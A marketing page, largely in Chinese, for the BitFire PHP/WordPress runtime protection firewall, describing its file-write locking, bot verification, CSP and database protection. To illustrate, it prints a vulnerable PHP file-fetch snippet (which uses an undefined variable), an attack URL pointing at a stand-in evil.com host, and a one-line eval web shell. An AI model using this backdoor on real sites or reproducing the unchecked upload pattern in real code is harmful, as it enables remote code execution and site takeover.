运行时应用程序自我保护是整个网站的安全沙箱. 传统的 WAF 在网站前方运行，根据签名阻止或允许流量，这些签名可能检测到攻击，也可能检测不到攻击. RASP 在网站和操作系统之间运行，可防止未经授权的数据库和文件系统更改.
安装 BitFire 免费版* 5 分钟免费安装. 无需信用卡.
除了其他 WAF 解决方案提供的标准保护外，BitFire 还有 4项独特功能，可在您的网站背后运行，无缝保护您的文件系统、数据库和客户端网络浏览器，而无需签名.
RASP 对 PHP 文件进行写入锁定，防止任何攻击修改插件或核心文件.
99% 的黑客攻击都是自动进行的，网络验证只允许已知的授权机器人，将黑客拒之门外.
通过自动 CSP，仅强制执行来自经批准网站的内容，防止重定向和其他浏览器攻击.
通过数据库保护完善安全态势，防止后门账户和其他数据库恶意软件.
BitFire's RASP runs between WordPress (or any PHP code) and your Operating System files. It is able to prevent the most serious security vulnerabilities from being exploited on your site. Consider the following vulnerability where a plugin is fetching a remote image and saving to the local website:
<?php
$r = $_GET['remote_image'];
// fetch remote image:
$data = file_get_contents($image);
// local file name = content_dir + original filename
$filename = WP_CONTENT_DIR . basename($image);
// save image for local use:
💀 file_put_contents($filename, $data);
<?php
# 🔭 did you spot the vulnerability? ~~~~~~~
# The plugin forgot to ensure that the file is an image file:
💀 file_put_contents($filename, $data);
# This vulnerability allows anyone to upload backdoor PHP code...~~
<?php
# www.site.com/vulnerable?remote_image=http://evil.com/backdoor.php
# backdoor.php:
echo '🦠 <?php eval($_GET["x"]);\n'; ~~
# This "image" is a backdoor executing any PHP code ~~~~
😧 ~~~~~
# Resulting in complete compromise of all website files and data! ~~~~~
😵
<?php
# BitFire protects vulnerable plugin code like this by
# intercepting all file writes before they execute:
💀 file_put_contents($_GET['name'], $_GET['data']);~~~
# And preventing any writes to a PHP file by a non-administrator.
~~~💓~~~~💓~~~💓~~~
# Without any custom extensions, guaranteed ~~~🥂~~~~~~~~~~~~~~~~~~~~~~~~~~
黑客经常冒充 GoogleBot 等互联网机器人. 其他 WAF 通过希望机器人自我识别来阻止它们. 只有 BitFire 才能验证机器人的源网络，以核实真实流量.
每个僵尸都可以配置为 "允许来自任何地方"、"验证 IP "或 "完全阻止"，BitFire 还可以学习自定义或未知僵尸，从而完全保护您的安全。.
使用 BitFire RASP 数据库保护敏感数据的安全. 保护用户登录数据、博客文章、产品信息和任何其他敏感的数据库信息. BitFire 可防止未经授权的用户访问或修改任何数据库组件，而无需考虑任何现有的安全漏洞.
在不到 2 毫秒的时间内保证提供全面保护 *
利用安全流程而不仅仅是签名保护自己免受 0 日威胁.
全面客户支持
美国开发人员每周 7 天提供支持
安装支持
获得 1 小时免费安装技术支持
全天候网络监控
所有安装均可获得免费的自动系统监控
WordPress 插件监控
每小时针对最新漏洞进行插件检查，确保网站保持最新状态
异地数据库备份
只需点击一下，即可进行数千兆字节的站外数据库备份
您的安全设备应具有连接性和便携性. BitFire 与其他资源连接，帮助您保持安全.
使用简单的插件在频道中自动发送警报和网站信息.
通过可操作的安全报告随时了解安全状况，确保您的网站是最新的.
恢复已被黑客入侵的网站，防止对 WordPress 核心和插件的自定义攻击.
直接连接 REST HTTP API 以获取最新数据，并动态配置和集成防火墙.
轻松连接弹性搜索，保存并报告实时阻止和允许的流量.
轻松将 BitFire 集成到任何 PHP 项目中，包括自定义和自制应用程序.
我们可以帮助您解决网络安全问题.
